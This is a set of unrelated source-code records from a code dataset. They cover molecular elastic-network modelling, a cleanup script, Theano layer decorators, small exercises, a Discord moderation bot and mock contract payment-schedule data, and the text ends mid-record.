compute_force_constants(distance_matrix, lower_bound, upper_bound,\n decay_factor, decay_power, base_constant,\n minimum_force):\n \"\"\"\n Compute the force constant of an elastic network bond.\n\n The force constant can be modified with a decay function, and it can be\n bounded with a minimum threshold, or a distance upper and lower bonds.\n \"\"\"\n constants = compute_decay(distance_matrix, lower_bound, decay_factor, decay_power)\n np.fill_diagonal(constants, 0)\n constants *= base_constant\n constants[constants < minimum_force] = 0\n constants[distance_matrix > upper_bound] = 0\n return constants\n\n\ndef build_connectivity_matrix(graph, separation, selection=None):\n \"\"\"\n Build a connectivity matrix based on the separation between nodes in a graph.\n\n The connectivity matrix is a symetric boolean matrix where cells contain\n ``True`` if the corresponding atoms are connected in the graph and\n separated by less or as much nodes as the given 'separation' argument.\n\n In the following examples, the separation between A and B is 0, 1, and 2.\n respectively:\n\n ```\n A - B\n A - X - B\n A - X - X - B\n ```\n\n Note that building the connectivity matrix with a separation of 0 is the\n same as building the adjacency matrix.\n\n Parameters\n ----------\n graph: networkx.Graph\n The graph/molecule to work on.\n separation: int\n The maximum number of nodes in the shortest path between two nodes of\n interest for these two nodes to be considered connected. Must be >= 0.\n selection: collections.abc.Iterable\n A list of node keys to work on. If this argument is set, then the\n matrix corresponds to the subgraph containing these keys.\n\n Returns\n -------\n numpy.ndarray\n A boolean matrix.\n \"\"\"\n if separation < 0:\n raise ValueError('Separation has to be null or positive.')\n if separation == 0:\n # The connectivity matrix with a separation of 1 is the adjacency\n # matrix. Thanksfully, networkx can directly give it to us a a numpy\n # array.\n return nx.to_numpy_matrix(graph, nodelist=selection).astype(bool)\n subgraph = graph.subgraph(selection)\n connectivity = np.zeros((len(subgraph), len(subgraph)), dtype=bool)\n for (idx, key_idx), (jdx, key_jdx) in itertools.combinations(enumerate(subgraph.nodes), 2):\n try:\n shortest_path = len(nx.shortest_path(subgraph, key_idx, key_jdx))\n except nx.NetworkXNoPath:\n # There is no path between key_i and key_j so they are not\n # connected; which is the default.\n pass\n else:\n # The source and the target are counted in the shortest path\n connectivity[idx, jdx] = shortest_path <= separation + 2\n connectivity[jdx, idx] = connectivity[idx, jdx]\n return connectivity\n\n\ndef apply_rubber_band(molecule, selector,\n lower_bound, upper_bound,\n decay_factor, decay_power,\n base_constant, minimum_force,\n bond_type, res_min_dist=3):\n r\"\"\"\n Adds a rubber band elastic network to a molecule.\n\n The eleastic network is applied as bounds between the atoms selected by the\n function declared with the 'selector' argument. The equilibrium length for\n the bonds is measured from the coordinates in the molecule, the force\n constant is computed from the base force constant and an optional decay\n function.\n\n The decay function for the force constant is defined as:\n\n .. math::\n\n \\exp^{-r(d - s)^p}\n\n where :math:`r` is the decay rate given by the 'decay_factor' argument,\n :math:`p` is the decay power given by 'decay_power', :math:`s` is a shift\n given by 'lower_bound', and :math:`d` is the distance between the two atoms\n in the molecule. If the rate or the power are set to 0, then the decay\n function does not modify the force constant.\n\n The 'selector' argument takes a callback that accepts a atom dictionary and\n returns ``True`` if the atom match the conditions to be kept.\n\n Parameters\n ----------\n molecule: Molecule\n The molecule to which apply the elastic network. The molecule is\n modified in-place.\n selector: collections.abc.Callable\n Selection function.\n lower_bound: float\n The minimum length for a bond to be added, expressed in\n nanometers.\n upper_bound: float\n The maximum length for a bond to be added, expressed in\n nanometers.\n decay_factor: float\n Parameter for the decay function.\n decay_power: float\n Parameter for the decay function.\n base_constant: float\n The base force constant for the bonds in :math:`kJ.mol^{-1}.nm^{-2}`.\n If 'decay_factor' or 'decay_power' is set to 0, then it will be the\n used force constant.\n minimum_force: float\n Minimum force constat in :math:`kJ.mol^{-1}.nm^{-2}` under which bonds\n are not kept.\n bond_type: int\n Gromacs bond function type to apply to the elastic network bonds.\n res_min_dist: int\n Minimum separation between two atoms for a bond to be kept.\n Bonds are kept is the separation is greater or equal to the value\n given.\n \"\"\"\n selection = []\n coordinates = []\n missing = []\n for node_key, attributes in molecule.nodes.items():\n if selector(attributes):\n selection.append(node_key)\n coordinates.append(attributes.get('position'))\n if coordinates[-1] is None:\n missing.append(node_key)\n if missing:\n raise ValueError('All atoms from the selection must have coordinates. '\n 'The following atoms do not have some: {}.'\n .format(' '.join(missing)))\n coordinates = np.stack(coordinates)\n distance_matrix = self_distance_matrix(coordinates)\n constants = compute_force_constants(distance_matrix, lower_bound,\n upper_bound, decay_factor, decay_power,\n base_constant, minimum_force)\n connectivity = build_connectivity_matrix(molecule, res_min_dist - 1,\n selection=selection)\n # Set the force constant to 0 for pairs that are connected. `connectivity`\n # is a matrix of booleans that is True when a pair is connected. Because\n # booleans acts as 0 or 1 in operation, we multiply the force constant\n # matrix by the oposite (OR) of the connectivity matrix.\n constants *= ~connectivity\n distance_matrix = distance_matrix.round(5) # For compatibility with legacy\n for from_idx, to_idx in zip(*np.triu_indices_from(constants)):\n from_key = selection[from_idx]\n to_key = selection[to_idx]\n force_constant = constants[from_idx, to_idx]\n length = distance_matrix[from_idx, to_idx]\n if force_constant > minimum_force:\n molecule.add_interaction(\n type_='bonds',\n atoms=(from_key, to_key),\n parameters=[bond_type, length, force_constant],\n meta={'group': 'Rubber band'},\n )\n\n\nclass ApplyRubberBand(Processor):\n def __init__(self, lower_bound, upper_bound, decay_factor, decay_power,\n base_constant, minimum_force,\n bond_type=None,\n selector=selectors.select_backbone,\n bond_type_variable='elastic_network_bond_type'):\n super().__init__()\n self.lower_bound = lower_bound\n self.upper_bound = upper_bound\n self.decay_factor = decay_factor\n self.decay_power = decay_power\n self.base_constant = base_constant\n self.minimum_force = minimum_force\n self.bond_type = bond_type\n self.selector = selector\n self.bond_type_variable = bond_type_variable\n\n def run_molecule(self, molecule):\n # Choose the bond type. From high to low, the priority order is:\n # * what is set as an argument to the processor\n # * what is written in the force field variables\n # under the key `self.bond_type_variable`\n # * the default value set in DEFAULT_BOND_TYPE\n bond_type = self.bond_type\n if self.bond_type is None:\n bond_type = molecule.force_field.variables.get(self.bond_type_variable,\n DEFAULT_BOND_TYPE)\n\n apply_rubber_band(molecule, self.selector,\n lower_bound=self.lower_bound,\n upper_bound=self.upper_bound,\n decay_factor=self.decay_factor,\n decay_power=self.decay_power,\n base_constant=self.base_constant,\n minimum_force=self.minimum_force,\n bond_type=bond_type)\n return molecule\n","sub_path":"vermouth/processors/apply_rubber_band.py","file_name":"apply_rubber_band.py","file_ext":"py","file_size_in_byte":11238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"422549701","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n#\r\n# Copyright (c) 2016 - cologler \r\n# ----------\r\n#\r\n# ----------\r\n\r\nimport os\r\nimport sys\r\nimport traceback\r\nimport imp\r\nimport inspect\r\n\r\nimport common\r\n\r\ndef load_components():\r\n components = []\r\n components_root = os.path.join(os.path.dirname(__file__), 'components')\r\n for name in os.listdir(components_root):\r\n if name[-3:] == '.py':\r\n script_file = os.path.join(components_root, name)\r\n module = imp.load_source(name[:-3].replace('.', '_'), script_file)\r\n module_catalog = dir(module)\r\n for k in module_catalog:\r\n t = getattr(module, k, None)\r\n if isinstance(t, type) and issubclass(t, common.BaseCleaner) and t is not common.BaseCleaner:\r\n components.append(t())\r\n return components\r\n\r\ndef exec_component(component: common.BaseCleaner, env):\r\n argmaps = {}\r\n argmaps['env'] = env\r\n component.on_start()\r\n for m in dir(component):\r\n m5 = m[:5]\r\n if m5 == 'clean' or m5 == 'clear':\r\n print(' %s:' % m.replace('_', ' ').replace(' ', ' ').strip())\r\n func = getattr(component, m)\r\n sign = inspect.signature(func)\r\n args = {}\r\n if len(sign.parameters) > 0:\r\n for n in sign.parameters:\r\n args[n] = argmaps[n]\r\n func(**args)\r\n component.on_end()\r\n\r\ndef main(argv=None):\r\n if argv is None:\r\n argv = sys.argv\r\n try:\r\n env = common.Environment()\r\n for c in load_components():\r\n exec_component(c, env)\r\n print('ALL JOB DONE.')\r\n except Exception:\r\n traceback.print_exc()\r\n input()\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"cleanup/cleanup.py","file_name":"cleanup.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"250359850","text":"#!/usr/bin/env python\r\n#coding: utf-8\r\nimport random\r\n\r\ndef word_typoglycemia(word):\r\n if len(word) <= 4:\r\n return word\r\n\r\n middle = list(word[1:-1])\r\n while middle == list(word[1:-1]):\r\n random.shuffle(middle)\r\n return word[0] + \"\".join(middle) + word[-1]\r\n\r\ndef str_typoglycemia(str):\r\n shuffled_list = []\r\n for word in str.split():\r\n shuffled_list.append(word_typoglycemia(word))\r\n return \" \".join(shuffled_list)\r\n\r\nstr = \"I couldn't believe that I could actually understand what I was reading :\\\r\nthe phenomenal power of the human mind .\"\r\n\r\nprint(str_typoglycemia(str))\r\n","sub_path":"test09.py","file_name":"test09.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"202146572","text":"import numpy, time\nimport theano\nimport theano.tensor as tt\nimport Mariana.settings as MSET\n\n__all__= [\"Decorator_ABC\", \"OutputDecorator_ABC\", \"BinomialDropout\", \"GlorotTanhInit\", \"ZerosInit\", \"WeightSparsity\", \"InputSparsity\"]\n\nclass Decorator_ABC(object) :\n\t\"\"\"A decorator is a modifier that is applied on a layer. This class defines the interface that a decorator must offer.\n\tDue to some of Mariana's black magic, it is possible to modify shared variable the same way as any regular variable::\n\n\t\tlayer.W = numpy.zeros(\n\t\t\t\t(layer.nbInputs, layer.nbOutputs),\n\t\t\t\tdtype = theano.config.floatX\n\t\t\t)\n\n\tMariana will take care of the ugly stuff such as the casting, and making sure that the variable reference in the graph does not change.\n\t\"\"\"\n\n\tdef __init__(self, *args, **kwargs) :\n\t\tself.hyperParameters = []\n\t\tself.name = self.__class__.__name__\n\n\tdef __call__(self, *args, **kwargs) :\n\t\tself.decorate(*args, **kwargs)\n\n\tdef decorate(self, layer) :\n\t\t\"\"\"The function that all decorator_ABCs must implement\"\"\"\n\t\traise NotImplemented(\"This one should be implemented in child\")\n\nclass OutputDecorator_ABC(Decorator_ABC) :\n\n\tdef __init__(self, trainOnly, *args, **kwargs) :\n\t\t\"\"\"\n\t\t\tOutput decorators modify either layer.outputs or layer.test_outputs and are used to implement stuff\n\t\t\tsuch as noise injection.\n\n\t\t\t:param bool trainOnly: if True, the decoration will not be applied in a test context\n\t\t\t(ex: while calling *test()*, *propagate()*)\n\t\t\"\"\"\n\t\tDecorator_ABC.__init__(self, *args, **kwargs)\n\t\tself.hyperParameters.extend([\"trainOnly\"])\n\t\tself.trainOnly = trainOnly\n\nclass BinomialDropout(OutputDecorator_ABC):\n\t\"\"\"Use it to make things such as denoising autoencoders and dropout layers\"\"\"\n\tdef __init__(self, ratio, trainOnly = True, *args, **kwargs):\n\t\tOutputDecorator_ABC.__init__(self, trainOnly, *args, **kwargs)\n\n\t\tassert (ratio >= 0 and ratio <= 1) \n\t\tself.ratio = ratio\n\t\tself.seed = time.time()\n\t\tself.hyperParameters.extend([\"ratio\"])\n\n\tdef _decorate(self, outputs) :\n\t\trnd = tt.shared_randomstreams.RandomStreams()\n\t\tmask = rnd.binomial(n = 1, p = (1-self.ratio), size = outputs.shape)\n\t\t# cast to stay in GPU float limit\n\t\tmask = tt.cast(mask, theano.config.floatX)\n\t\treturn (outputs * mask) #/ self.ratio\n\t\t\n\tdef decorate(self, layer) :\n\t\tlayer.outputs = self._decorate(layer.outputs)\n\t\t\t\nclass GlorotTanhInit(Decorator_ABC) :\n\t\"\"\"Set up the layer to apply the tanh initialisation introduced by Glorot et al. 2010\"\"\"\n\tdef __init__(self, *args, **kwargs) :\n\t\tDecorator_ABC.__init__(self, *args, **kwargs)\n\n\tdef decorate(self, layer) :\n\t\trng = numpy.random.RandomState(MSET.RANDOM_SEED)\n\t\tlayer.W = rng.uniform(\n\t\t\t\t\tlow = -numpy.sqrt(6. / (layer.nbInputs + layer.nbOutputs)),\n\t\t\t\t\thigh = numpy.sqrt(6. / (layer.nbInputs + layer.nbOutputs)),\n\t\t\t\t\tsize = (layer.nbInputs, layer.nbOutputs)\n\t\t\t\t)\n\nclass ZerosInit(Decorator_ABC) :\n\t\"\"\"Initialze the weights at zeros\"\"\"\n\tdef __init__(self, *args, **kwargs) :\n\t\tDecorator_ABC.__init__(self, *args, **kwargs)\n\n\tdef decorate(self, layer) :\n\t\tlayer.W = numpy.zeros(\n\t\t\t\t\t(layer.nbInputs, layer.nbOutputs),\n\t\t\t\t\tdtype = theano.config.floatX\n\t\t\t\t)\n\nclass ValueInit(Decorator_ABC) :\n\t\"\"\"Initialize the weights at a given value\"\"\"\n\tdef __init__(self, value, *args, **kwargs) :\n\t\tDecorator_ABC.__init__(self, *args, **kwargs)\n\t\tself.value = value\n\t\tself.hyperParameters.append(\"value\")\n\n\tdef decorate(self, layer) :\n\t\tlayer.W = numpy.zeros(\n\t\t\t\t\t(layer.nbInputs, layer.nbOutputs),\n\t\t\t\t\tdtype = theano.config.floatX\n\t\t\t\t) + value\n\nclass WeightSparsity(Decorator_ABC):\n\t\"\"\"Stochatically sets a certain ratio of the input weight to 0\"\"\"\n\tdef __init__(self, ratio, *args, **kwargs):\n\t\tDecorator_ABC.__init__(self, *args, **kwargs)\n\n\t\tassert (ratio >= 0 and ratio <= 1) \n\t\tself.ratio = ratio\n\t\tself.seed = time.time()\n\t\tself.hyperParameters.extend([\"ratio\"])\n\n\tdef decorate(self, layer) :\n\t\tinitWeights = layer.W.get_value()\n\t\tfor i in xrange(initWeights.shape[0]) :\n\t\t\tfor j in xrange(initWeights.shape[1]) :\n\t\t\t\tif numpy.random.rand() < self.ratio :\n\t\t\t\t\tinitWeights[i, j] = 0\n\t\t\n\t\tlayer.W = theano.shared(value = initWeights, name = layer.W.name)\n\nclass InputSparsity(Decorator_ABC):\n\t\"\"\"Stochastically sets a certain ratio of the input connections to 0\"\"\"\n\tdef __init__(self, ratio, *args, **kwargs):\n\t\tDecorator_ABC.__init__(self, *args, **kwargs)\n\n\t\tassert (ratio >= 0 and ratio <= 1) \n\t\tself.ratio = ratio\n\t\tself.seed = time.time()\n\t\tself.hyperParameters.extend([\"ratio\"])\n\n\tdef decorate(self, layer) :\n\t\tinitWeights = layer.W.get_value()\n\t\tfor i in xrange(initWeights.shape[0]) :\n\t\t\tif numpy.random.rand() < self.ratio :\n\t\t\t\tinitWeights[i, : ] = numpy.zeros(initWeights.shape[1])\n\t\t\n\t\tlayer.W = theano.shared(value = initWeights, name = layer.W.name)\n\n\t\t","sub_path":"Mariana/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":4714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"440622818","text":"#Escribir una función que tome un carácter y devuelva True si es una vocal, de lo contrario devuelve False.\n\ndef vocal_o_no(a):\n vocal = False\n\n if a=='a' or a=='e' or a=='i' or a=='o' or a=='u':\n vocal = True\n return vocal\n\nprint(\"Introduce una letra\")\nletra = input()\n\nif vocal_o_no(letra)==True:\n print(\"La letra: \",letra ,\" es una vocal\")\nelse:\n print(\"La letra: \",letra ,\" no es una vocal\")\n\n","sub_path":"Montero García, Antonio boletin 2/ej3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"62938448","text":"import discord\n\nimport random\n\nimport json\n\nimport os\n\nimport time\n\nfrom discord.ext import commands, tasks\n\nfrom itertools import cycle\n\nclient = commands.Bot(command_prefix = 'ab')\n\nclient.remove_command('help')\n\nstatus = cycle(['abhelp','Made By YosherZ#1849','In Development'])\n\n@client.event\n\nasync def on_ready():\n\n\tchange_status.start()\n\n\tprint(\"AnoBot Has Started\")\t\t\t\t\n\n\t\t\n\n@tasks.loop(seconds=15)\n\nasync def change_status():\n\n\tawait client.change_presence(activity=discord.Game(next(status)))\n\n@client.event\n\nasync def on_command_error(ctx, error):\n\n\tif isinstance(error, commands.MissingRequiredArgument):\n\n\t\tawait ctx.send('Missing Required Arguments')\n\ndef YosherZ(ctx):\n\n\treturn ctx.author.id == 349499497774055429\n\n#---------------------------------------------------------------------------------^Client Events^--------------------------------------------------------------------------------------------#\n\n@client.command()\n\nasync def ping(ctx):\n\n start = time.monotonic()\n\n embed = discord.Embed(title=\"AnoBot's Ping!\", color=0x0084FD)\n\n embed.add_field(name=\"Latency\", value=\"{} ms\".format(int(ctx.bot.latency*1000)))\n\n await ctx.send(embed=embed)\n\n@client.command(aliases=['8ball'])\n\nasync def _8ball(ctx, *, question):\n\n\tresponses = ['It Is Certain',\n\n\t'Without A Doubt',\n\n\t'Yes Definitely',\n\n\t'You May Rely On It',\n\n\t'Most Likely',\n\n\t'Ask Again Later',\n\n\t'Nope',\n\n\t'Cannot Tell Right Now']\n\n\tawait ctx.send(f'Question: {question}\\nAnswer: {random.choice(responses)}')\n\n@client.command()\n\n@commands.has_permissions(manage_messages=True)\n\nasync def clear(ctx, amount : int):\n\n\tawait ctx.channel.purge(limit=amount)\n\n@client.command()\n\n@commands.has_permissions(kick_members=True)\n\nasync def kick(ctx, member : discord.Member, *, reason=None):\n\n\t\n\n\tawait ctx.send(f'Kicked {user.mention}')\n\n\tawait member.kick(reason=reason)\n\n@client.command()\n\n@commands.has_permissions(ban_members=True)\n\nasync def ban(ctx, member : discord.Member, *, reason=None):\n\n\t\n\n\tawait ctx.send(f'Banned {user.mention}')\n\n\tawait member.ban(reason=reason)\n\n@client.command()\n\nasync def unban(ctx, *, member):\n\n\tbanned_users = await ctx.guild.bans()\n\n\tmember_name, member_discriminator = member.split('#')\n\n\t\n\n\tfor ban_entry in banned_users:\n\n\t\tuser = ban_entry.user\n\n\t\t\n\n\t\tif (user.name, user.discriminator) == (member_name, member_discriminator):\n\n\t\t\t\n\n\t\t\tawait ctx.send(f'Unbanned {user.mention}')\n\n\t\t\tawait ctx.guild.unban(user)\n\n\t\t\treturn\n\n\t\t\t\t\t\t\n\n@client.command()\n\nasync def help(ctx):\n\n\tembed=discord.Embed(title=\"Click Here To Join The Support Server\", url=\"https://discord.gg/Wmz6K4g\", description=\"Help For AnoBot\", color=0xff0000)\t \n\n\tembed.set_author(name=\"AnoBot\")\n\n\tembed.set_thumbnail(url=\"https://cdn.discordapp.com/avatars/442063327191891979/78aadd542d7ef9e04ae488d41dce506d.png\")\n\n\tembed.add_field(name='abping', value='Displays Bot Latency', inline=True)\n\n\tembed.add_field(name='ab8ball', value='Type ab8ball Followed By A Question', inline=True)\n\n\tembed.add_field(name='abclear', value='Clear Messages (Manage Message Permission)', inline=True)\n\n\tembed.add_field(name='abkick', value='Kicks Member (Kick Permission)', inline=True)\n\n\tembed.add_field(name='abban', value='Ban Member (Ban Permission)', inline=True)\n\n\tembed.add_field(name='abunban', value='Unban A User (Ban Permission)', inline=True)\n\n\tembed.set_footer(text=\"AnoBot By YosherZ#1849\")\n\n\tawait ctx.send(embed=embed)\t \n\nclient.run(os.environ['TOKEN'])\n\n\n\t\n","sub_path":"Anobot.py","file_name":"Anobot.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"590894888","text":"contract_headers = [\n 'ID',\n 'CONTRACT_NAME',\n 'DEPOSIT',\n 'END_DATE',\n 'LINK_ID',\n 'START_DATE',\n 'TS_TIMESTAMP',\n 'FI_ACCOUNT_ID',\n 'PD_CONTACT_PERSON_ID',\n 'CO_STATE_ID',\n 'CO_TYPE_ID',\n 'CO_PAYMENT_SCHEDULE_TYPE_ID',\n 'PD_SALES_PERSON_ID',\n 'IS_EXCLUDE_FROM_UNFLOWN_HOURS',\n 'IS_SHOWN_IN_PAYMENT_REQUEST',\n 'INCLUDE_DOMESTIC_RATE',\n 'ENABLE_MANAGEMENT_FEE',\n 'MINIMUM_REQUIRED_BALANCE',\n 'PAYMENT_TERMS',\n 'CONTRACT_MS_ID',\n 'PAYMENT_SCHEDULE_MS_ID',\n 'SYMBOL',\n]\n\npayment_schedule_headers = [\n 'LINK_ID', # contract link id\n 'CONTRACT_MS_ID', # contract aggregate id\n 'DEPOSIT', # deposit amount cents\n 'PAYMENT_SCHEDULE_MS_ID', # ps aggr_id\n 'CO_PAYMENT_SCHEDULE_TYPE_ID', # ps type id\n 'NAME', # ps type name\n 'ID',\n 'AMOUNT_IN_CENTS', # ps line amount\n 'DUE_DATE', # ps line due date\n 'CO_CONTRACT_ID',\n 'LINK_ID_1',\n 'PAYMENT_SCHEDULE_LINE_MS_ID', # ps line aggr_id\n]\n\nmanagement_fee_headers = [\n 'LINK_ID',\n 'CONTRACT_MS_ID',\n 'VJ_AIRCRAFT_TYPE_ID',\n 'ID',\n 'TOTAL_AMOUNT_CENTS',\n 'USED_AMOUNT_CENTS',\n 'VALID_FROM',\n 'VALID_TO',\n 'DUE_DATE',\n 'NOTES',\n 'FEE_RATE',\n 'CO_DETAIL_ID',\n 'FI_INVOICE_ID',\n 'FI_LINK_ID_1',\n 'MANAGEMENT_FEE_LINE_MS_ID',\n 'DESCRIPTION',\n 'MANAGEMENT_FEE_MS_ID',\n 'MANAGEMENT_FEE_SCHEDULE_TYPE',\n 'NAME',\n]\n\nco_details_headers = [\n 'XID',\n 'CONTRACT_LINK_ID',\n 'CONTRACT_ID',\n 'CONTRACT_DETAIL_ID',\n 'ACTYPE_ID',\n 'ACTYPE_NAME',\n 'MANAGEMENT_FEE_COUNT',\n]\n\nMOCKED_VALUE = {\n \"correlationId\": \"111-11\",\n \"aggregateId\": \"1fc47cbd-539e-42f9-804e-d613800216a9\",\n \"accountCurrency\": \"$\",\n \"accountId\": 51575,\n \"paymentSchedule\": {\n \"aggregateId\": \"99376434-0e1a-4615-b88b-20733a140031\",\n \"contractAggregateId\": \"1fc47cbd-539e-42f9-804e-d613800216a9\",\n \"paymentOptionsDescription\": \"Annual\",\n \"installmentsQuantity\": 1,\n # \"advanceNoticeDays\": 30,\n \"deposit\": {\n \"aggregateId\": \"154c457f-a864-498c-8ee3-3f6202f2c46c\",\n \"contractAggregateId\": \"1fc47cbd-539e-42f9-804e-d613800216a9\",\n # \"description\": \"Program Security Deposit - Challenger 350\",\n \"amountInCents\": 12,\n \"dueDate\": \"2016-05-31\",\n # \"invoiceId\": None,\n # \"invoiceLinkId\": None,\n # \"invoiceStatus\": None\n },\n \"paymentScheduleLines\": [\n {\n \"aggregateId\": \"34b1571b-7f3e-4b2f-a9c5-caedd865ce3d\",\n \"paymentScheduleAggregateId\": \"99376434-0e1a-4615-b88b-20733a140031\",\n # \"invoiceId\": None,\n # \"invoiceLinkId\": None,\n \"dueDate\": \"2016-05-31\",\n \"description\": \"Imported from GlobalView (edit me)\",\n # \"amountInCents\": 77711,\n # \"invoiceStatus\": None,\n # \"isPaid\": False,\n # \"isAdHoc\": False,\n # \"isActive\": True\n },\n {\n \"aggregateId\": \"794b0a99-3222-41d2-b1ae-96f05e2740cf\",\n \"paymentScheduleAggregateId\": \"99376434-0e1a-4615-b88b-20733a140031\",\n # \"invoiceId\": None,\n # \"invoiceLinkId\": None,\n \"dueDate\": \"2017-05-31\",\n \"description\": \"Imported from GlobalView (edit me)\",\n # \"amountInCents\": 0,\n # \"invoiceStatus\": None,\n # \"isPaid\": False,\n # \"isAdHoc\": False,\n # \"isActive\": True\n },\n {\n \"aggregateId\": \"c2fe496a-c959-4f7c-8059-d23dd288f045\",\n \"paymentScheduleAggregateId\": \"99376434-0e1a-4615-b88b-20733a140031\",\n # \"invoiceId\": None,\n # \"invoiceLinkId\": None,\n \"dueDate\": \"2018-05-31\",\n \"description\": \"Imported from GlobalView (edit me)\",\n # \"amountInCents\": 44587500,\n # \"invoiceStatus\": None,\n # \"isPaid\": False,\n # \"isAdHoc\": False,\n # \"isActive\": True\n }\n ]\n },\n \"managementFees\": [],\n \"revision\": {\n \"id\": None,\n \"revisionNumber\": 1,\n \"username\": \"GLOBALVIEW.CR\",\n \"fullName\": \"GLOBALVIEW.CR\",\n \"activityTypeId\": 8,\n \"postDate\": \"2019-07-03T13:12:59.202934\",\n \"note\": \"Contracts data synchronization with Globalview testing state script15\"\n }\n}\n\nANOTHER_VALUE = {\n \"correlationId\": \"37447567\",\n \"aggregateId\": \"252f69ba-e167-4364-ba1c-10e4277f3c02\",\n \"accountCurrency\": \"$\",\n \"accountId\": 62227,\n \"paymentSchedule\": {\n \"aggregateId\": \"2f8d8f4f-fdc0-45d7-807f-c5ada6f8bdd5\",\n \"contractAggregateId\": \"252f69ba-e167-4364-ba1c-10e4277f3c02\",\n \"paymentOptionsDescription\": \"Bi-Monthly\",\n \"installmentsQuantity\": 6,\n # \"advanceNoticeDays\": 30,\n \"deposit\": {\n \"aggregateId\": \"d6f87e01-69de-461a-97ee-44b877ef3b63\",\n \"contractAggregateId\": \"252f69ba-e167-4364-ba1c-10e4277f3c02\",\n # \"description\": \"Program Security Deposit - Challenger 350\",\n \"amountInCents\": 0,\n \"dueDate\": \"2018-06-29\",\n # \"invoiceId\": \"t_249045\",\n # \"invoiceLinkId\": 172232,\n # \"invoiceStatus\": {\n # \"statusId\": 8,\n # \"statusDescription\": \"Raised\",\n # },\n },\n \"paymentScheduleLines\": [\n {\n # \"aggregateId\": \"f17ea734-3769-4f3c-a04f-6128799086b2\",\n # \"paymentScheduleAggregateId\": \"2f8d8f4f-fdc0-45d7-807f-c5ada6f8bdd5\",\n \"aggregateId\": None,\n \"paymentScheduleAggregateId\": None,\n # \"invoiceId\": \"t_249046\",\n # \"invoiceLinkId\": 172233,\n \"dueDate\": \"2018-06-29\",\n \"description\": \"Imported from GlobalView (edit me)\",\n # \"amountInCents\": 9296250,\n # \"invoiceStatus\": {\n # \"statusId\": 8,\n # \"statusDescription\": \"Raised\"\n # },\n # \"isPaid\": False,\n # \"isAdHoc\": False,\n # \"isActive\": True\n },\n {\n # \"aggregateId\": \"fd2b2835-debe-47af-9fbf-4bfca2178baa\",\n # \"paymentScheduleAggregateId\": \"2f8d8f4f-fdc0-45d7-807f-c5ada6f8bdd5\",\n \"aggregateId\": None,\n \"paymentScheduleAggregateId\": None,\n # \"invoiceId\": \"t_249048\",\n # \"invoiceLinkId\": 172235,\n \"dueDate\": \"2018-09-29\",\n \"description\": \"Imported from GlobalView (edit me)\",\n # \"amountInCents\": 9296250,\n # \"invoiceStatus\": {\n # \"statusId\": 8,\n # \"statusDescription\": \"Raised\"\n # },\n # \"isPaid\": False,\n # \"isAdHoc\": False,\n # \"isActive\": True\n },\n {\n # \"aggregateId\": \"56f9af8e-2d91-4640-8bf8-01f84c1ac415\",\n # \"paymentScheduleAggregateId\": \"2f8d8f4f-fdc0-45d7-807f-c5ada6f8bdd5\",\n \"aggregateId\": None,\n \"paymentScheduleAggregateId\": None,\n # \"invoiceId\": \"t_249047\",\n # \"invoiceLinkId\": 172234,\n \"dueDate\": \"2018-12-14\",\n \"description\": \"Imported from GlobalView (edit me)\",\n # \"amountInCents\": 12395000,\n # \"invoiceStatus\": {\n # \"statusId\": 8,\n # \"statusDescription\": \"Raised\"\n # },\n # \"isPaid\": False,\n # \"isAdHoc\": False,\n # \"isActive\": True\n },\n {\n # \"aggregateId\": \"78a12ebd-4911-404f-849d-12b20bd2e25c\",\n # \"paymentScheduleAggregateId\": \"2f8d8f4f-fdc0-45d7-807f-c5ada6f8bdd5\",\n \"aggregateId\": None,\n \"paymentScheduleAggregateId\": None,\n # \"invoiceId\": \"t_248527\",\n # \"invoiceLinkId\": 171812,\n \"dueDate\": \"2019-07-01\",\n \"description\": \"Imported from GlobalView (edit me)\",\n # \"amountInCents\": 15493800,\n # \"invoiceStatus\": {\n # \"statusId\": 8,\n # \"statusDescription\": \"Raised\"\n # },\n # \"isPaid\": False,\n # \"isAdHoc\": False,\n # \"isActive\": True\n },\n {\n # \"aggregateId\": \"7ae95582-720b-4588-a0c6-49af4ef76d1b\",\n # \"paymentScheduleAggregateId\": \"2f8d8f4f-fdc0-45d7-807f-c5ada6f8bdd5\",\n \"aggregateId\": None,\n \"paymentScheduleAggregateId\": None,\n # \"invoiceId\": None,\n # \"invoiceLinkId\": None,\n \"dueDate\": \"2019-07-05\",\n \"description\": \"123\",\n # \"amountInCents\": 123,\n # \"invoiceStatus\": None,\n # \"isPaid\": False,\n # \"isAdHoc\": True,\n # \"isActive\": True\n },\n {\n \"aggregateId\": None,\n \"paymentScheduleAggregateId\": None,\n #\"aggregateId\": \"22e06f86-4be6-4382-b5c2-7e44d4997516\",\n #\"paymentScheduleAggregateId\": \"2f8d8f4f-fdc0-45d7-807f-c5ada6f8bdd5\",\n # \"invoiceId\": \"t_249054\",\n # \"invoiceLinkId\": 172241,\n \"dueDate\": \"2021-05-04\",\n \"description\": \"Imported from GlobalView (edit me)\",\n # \"amountInCents\": 0,\n # \"invoiceStatus\": {\n # \"statusId\": 8,\n # \"statusDescription\": \"Raised\"\n # },\n # \"isPaid\": False,\n # \"isAdHoc\": False,\n # \"isActive\": True\n }\n ]\n },\n \"managementFees\": [\n {\n #\"aggregateId\": \"d99339db-a4a2-42da-8e91-d58cd7751b09\",\n \"aggregateId\": \"\",\n #\"contractAggregateId\": \"252f69ba-e167-4364-ba1c-10e4277f3c02\",\n \"contractAggregateId\": \"\",\n \"managementFeeOptionsId\": 2,\n \"managementFeeOptionsDescription\": \"Single Payment\",\n \"acTypeId\": 10,\n \"managementFeePayments\": [\n {\n #\"aggregateId\": \"a13cc4fa-52c2-4689-b674-b091037524c2\",\n \"aggregateId\": \"\",\n #\"managementFeeAggregateId\": 